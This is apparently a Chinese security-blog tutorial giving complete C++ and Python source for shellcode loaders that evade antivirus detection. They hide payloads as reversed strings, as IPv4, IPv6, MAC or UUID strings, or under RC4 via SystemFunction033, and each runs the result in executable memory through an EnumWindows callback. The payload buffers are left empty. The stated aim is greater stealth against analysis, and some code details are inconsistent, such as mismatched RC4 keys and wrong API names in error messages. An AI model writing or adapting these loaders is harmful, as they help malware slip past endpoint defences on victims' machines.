Shellcode encryption
字数 1155 2025-08-06 12:20:45
Shellcode加密与内存加载技术详解
1. 字符串反转加载技术
1.1 原理
通过将shellcode字符串整体反转,然后在加载时从尾部开始读取,实现简单的混淆。
1.2 实现方法
Python反转工具:
import sys
if len(sys.argv) != 2:
print("usage:\n python3 \"asdasd\"")
else:
str = sys.argv[1]
str = str[::-1] # 字符串反转
print(str)
C++加载实现:
#include <windows.h>
#include <iostream>
using namespace std;
int main(int argc, char* argv[]) {
char buf1[] = ""; // 反转后的shellcode
unsigned int char_in_hex;
unsigned int iterations = strlen(buf1);
unsigned int memory_allocation = strlen(buf1) / 2;
int p = 0;
// 申请内存空间
char* temp = (char*)VirtualAllocEx(GetCurrentProcess(), NULL, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
// 从尾部开始读取
for (int i = strlen(buf1) - 1; i >= 0; i--) {
temp[p++] = buf1[i];
}
char* buf = (char*)temp;
// 转换为可执行代码
for (int i = 0; i < iterations - 1; i++) {
sscanf_s(buf + 2 * i, "%2X", &char_in_hex);
buf[i] = (char)char_in_hex;
}
// 分配可执行内存并执行
LPVOID Address = VirtualAllocEx(GetCurrentProcess(), NULL, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
memcpy(Address, buf, memory_allocation);
DWORD pflOldProtect = 0;
VirtualProtectEx(GetCurrentProcess(), Address, memory_allocation, PAGE_EXECUTE, &pflOldProtect);
EnumWindows((WNDENUMPROC)Address, NULL);
return 0;
}
2. IPv4格式内存加载技术
2.1 原理
利用Windows API函数将shellcode转换为IPv4点分十进制格式字符串,再转换回二进制执行。
2.2 关键API函数
RtlIpv4AddressToStringA:
NTSYSAPI PSTR RtlIpv4AddressToStringA(
[in] const in_addr *Addr, // 需要转换的IPv4地址
[out] PSTR S // 存储转换后的字符串
);
RtlIpv4StringToAddressA:
NTSYSAPI NTSTATUS RtlIpv4StringToAddressA(
[in] PCSTR S, // 需要转换的字符串
[in] BOOLEAN Strict, // 是否严格检查
[out] PCSTR *Terminator, // 终止转换的字符指针
[out] in_addr *Addr // 存储二进制结果
);
2.3 实现方法
加密工具:
#include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
using namespace std;
int main(int argc, char* argv[]) {
char buf[] = ""; // 原始shellcode
char* p = buf;
char ip_str[sizeof(buf)];
cout << "const char* buf[] = {";
for (int i = 0; i <= (sizeof(buf) - 1) / 4; i++) {
RtlIpv4AddressToStringA((const IN_ADDR*)&(*p), ip_str);
p += 4;
if (i == (sizeof(buf) - 1) / 4) {
cout << "\"" << ip_str << "\"";
} else {
cout << "\"" << ip_str << "\",";
}
}
cout << "};";
return 0;
}
加载执行:
#include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
using namespace std;
int main() {
const char* buf[] = {0}; // 加密后的IPv4字符串数组
PCSTR lTerminator = NULL;
DWORD pflOldProtect = 0;
// 分配内存
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_READWRITE);
DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
// 转换回二进制
int init = sizeof(buf) / sizeof(buf[0]);
for (int i = 0; i < init; i++) {
RPC_STATUS STATUS = RtlIpv4StringToAddressA((PCSTR)buf[i], FALSE, &lTerminator, (in_addr*)ptr);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)", buf[i], STATUS, GetLastError());
return FALSE;
}
ptr += 4;
}
// 修改内存保护并执行
VirtualProtect(alloc_mem, sizeof(buf), PAGE_EXECUTE, &pflOldProtect);
EnumWindows((WNDENUMPROC)alloc_mem, NULL);
return 0;
}
3. IPv6格式内存加载技术
3.1 原理
与IPv4类似,但使用128位的IPv6地址格式进行编码。
3.2 关键API函数
RtlIpv6AddressToStringA:
NTSYSAPI PSTR RtlIpv6AddressToStringA(
[in] const in6_addr *Addr, // IPv6地址
[out] PSTR S // 输出字符串
);
RtlIpv6StringToAddressA:
NTSYSAPI NTSTATUS RtlIpv6StringToAddressA(
[in] PCSTR S, // 输入字符串
[out] PCSTR *Terminator, // 终止指针
[out] in6_addr *Addr // 输出二进制
);
3.3 实现方法
加密工具:
#include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
using namespace std;
int main(int argc, char* argv[]) {
char buf[] = ""; // 原始shellcode
char* p = buf;
char ip_str[sizeof(buf)];
cout << "const char* buf[] = {";
for (int i = 0; i <= (sizeof(buf) - 1) / 16; i++) {
RtlIpv6AddressToStringA((const in6_addr*)&(*p), ip_str);
p += 16;
if (i == (sizeof(buf) - 1) / 16) {
cout << "\"" << ip_str << "\"";
} else {
cout << "\"" << ip_str << "\",";
}
}
cout << "};";
return 0;
}
加载执行:
#include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
using namespace std;
int main() {
const char* buf[] = {0}; // 加密后的IPv6字符串数组
PCSTR lTerminator = NULL;
DWORD pflOldProtect = 0;
// 分配内存(注意IPv6是16字节一组)
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf)*16, MEM_COMMIT, PAGE_READWRITE);
DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
// 转换回二进制
int init = sizeof(buf) / sizeof(buf[0]);
for (int i = 0; i < init; i++) {
RPC_STATUS STATUS = RtlIpv6StringToAddressA((PCSTR)buf[i], &lTerminator, (in6_addr*)ptr);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)", buf[i], STATUS, GetLastError());
return FALSE;
}
ptr += 16;
}
// 修改内存保护并执行
VirtualProtect(alloc_mem, sizeof(buf)*16, PAGE_EXECUTE, &pflOldProtect);
EnumWindows((WNDENUMPROC)alloc_mem, NULL);
return 0;
}
4. MAC地址格式内存加载技术
4.1 原理
使用MAC地址格式(6字节一组)对shellcode进行编码。
4.2 关键API函数
RtlEthernetAddressToStringA:
NTSYSAPI PSTR RtlEthernetAddressToStringA(
[in] const DL_EUI48 *Addr, // 二进制MAC地址
[out] PSTR S // 输出字符串(需至少18字节空间)
);
RtlEthernetStringToAddressA:
NTSYSAPI NTSTATUS RtlEthernetStringToAddressA(
[in] PCSTR S, // 输入字符串
[out] PCSTR *Terminator, // 终止指针
[out] DL_EUI48 *Addr // 输出二进制
);
4.3 实现方法
加密工具:
#include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
using namespace std;
int main(int argc, char* argv[]) {
char buf[] = ""; // 原始shellcode
char* p = buf;
char ip_str[sizeof(buf)];
cout << "const char* buf[] = {";
for (int i = 0; i <= (sizeof(buf) - 1) / 6; i++) {
RtlEthernetAddressToStringA((const DL_EUI48*)&(*p), ip_str);
p += 6;
if (i == (sizeof(buf) - 1) / 6) {
cout << "\"" << ip_str << "\"";
} else {
cout << "\"" << ip_str << "\",";
}
}
cout << "};";
return 0;
}
加载执行:
#include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
using namespace std;
int main() {
const char* buf[] = {0}; // 加密后的MAC字符串数组
PCSTR lTerminator = NULL;
DWORD pflOldProtect = 0;
// 分配内存(注意MAC是6字节一组)
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf)*6, MEM_COMMIT, PAGE_READWRITE);
DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
// 转换回二进制
int init = sizeof(buf) / sizeof(buf[0]);
for (int i = 0; i < init; i++) {
RPC_STATUS STATUS = RtlEthernetStringToAddressA((PCSTR)buf[i], &lTerminator, (DL_EUI48*)ptr);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlEthernetStringToAddressA failed in %s result %x (%u)", buf[i], STATUS, GetLastError());
return FALSE;
}
ptr += 6;
}
// 修改内存保护并执行
VirtualProtect(alloc_mem, sizeof(buf)*6, PAGE_EXECUTE, &pflOldProtect);
EnumWindows((WNDENUMPROC)alloc_mem, NULL);
return 0;
}
5. UUID格式内存加载技术
5.1 原理
使用UUID(16字节一组)对shellcode进行编码。
5.2 Python加密工具
import uuid
buf = b"" # 原始shellcode
list = []
for i in range(len(buf) // 16):
b = uuid.UUID(bytes_le=buf[i*16 : 16 + i*16])
list.append(str(b))
print(str(list).replace("'", "\"").replace("[", "{").replace("]", "}") + ";")
5.3 关键API函数
UuidFromStringA:
RPC_STATUS UuidFromStringA(
RPC_CSTR StringUuid, // UUID字符串
UUID *Uuid // 输出二进制UUID
);
5.4 加载执行
#include <windows.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
using namespace std;
int main() {
const char* buf[] = {0}; // 加密后的UUID数组
PCSTR lTerminator = NULL;
DWORD pflOldProtect = 0;
// 分配内存(UUID是16字节一组)
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf)*16, MEM_COMMIT, PAGE_READWRITE);
DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
// 转换回二进制
int init = sizeof(buf) / sizeof(buf[0]);
for (int i = 0; i < init; i++) {
RPC_STATUS STATUS = UuidFromStringA((RPC_CSTR)buf[i], (UUID*)ptr);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlEthernetStringToAddressA failed in %s result %x (%u)", buf[i], STATUS, GetLastError());
return FALSE;
}
ptr += 16;
}
// 修改内存保护并执行
VirtualProtect(alloc_mem, sizeof(buf)*16, PAGE_EXECUTE, &pflOldProtect);
EnumWindows((WNDENUMPROC)alloc_mem, NULL);
return 0;
}
6. SystemFunction033 RC4加密技术
6.1 原理
使用SystemFunction033函数(实际上是RtlEncryptDecryptRC4的别名)进行RC4加密/解密。
6.2 数据结构
struct ustring {
DWORD Length; // 数据长度
DWORD MaximumLength; // 最大长度
PUCHAR Buffer; // 数据缓冲区
} _data, key;
6.3 函数原型
typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring* memoryRegion, // 要加密/解密的数据
struct ustring* keyPointer // 密钥
);
6.4 加密实现
#include "function.h"
int main() {
char _key[] = "asadsasdasasd"; // 加密密钥
unsigned char buf[] = {0}; // 原始shellcode
key.Buffer = (PUCHAR)(&_key);
key.Length = sizeof(key);
_data.Buffer = (PUCHAR)buf;
_data.Length = sizeof(buf);
// 加密
SystemFunction033(&_data, &key);
// 输出加密后的shellcode
printf("unsigned char buf[] = {");
for (int i = 0; i < _data.Length; i++) {
if (i == _data.Length - 1) {
printf("0x%02x", _data.Buffer[i]);
} else {
printf("0x%02x, ", _data.Buffer[i]);
}
}
printf("};");
}
6.5 解密执行
#include "function.h"
int main() {
DWORD pflOldProtect = 0;
char _key[] = "alphaBetagamma"; // 解密密钥(必须与加密密钥相同)
unsigned char buf[] = {0}; // 加密后的shellcode
key.Buffer = (PUCHAR)(&_key);
key.Length = sizeof(key);
_data.Buffer = (PUCHAR)buf;
_data.Length = sizeof(buf);
// 解密(使用相同的函数)
SystemFunction033(&_data, &key);
// 分配内存并执行
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_READWRITE);
memcpy(alloc_mem, buf, sizeof(buf));
VirtualProtect(alloc_mem, sizeof(buf), PAGE_EXECUTE_READWRITE, &pflOldProtect);
EnumWindows((WNDENUMPROC)alloc_mem, NULL);
}
7. 技术要点总结
-
内存分配与保护:
- 使用
VirtualAlloc/VirtualAllocEx分配内存 - 使用
VirtualProtect/VirtualProtectEx修改内存保护属性为可执行
- 使用
-
执行技术:
- 常用
EnumWindows回调函数执行shellcode - 也可使用其他回调函数如
EnumChildWindows等
- 常用
-
编码格式选择:
- IPv4: 4字节一组
- IPv6: 16字节一组
- MAC: 6字节一组
- UUID: 16字节一组
-
加密选择:
- RC4加密简单高效
- 也可结合多种编码方式增加混淆
-
注意事项:
- 确保编码/解码过程数据完整
- 注意字节对齐和填充
- 检查API调用返回值
以上技术可以单独使用,也可以组合使用以增强隐蔽性和对抗分析的能力。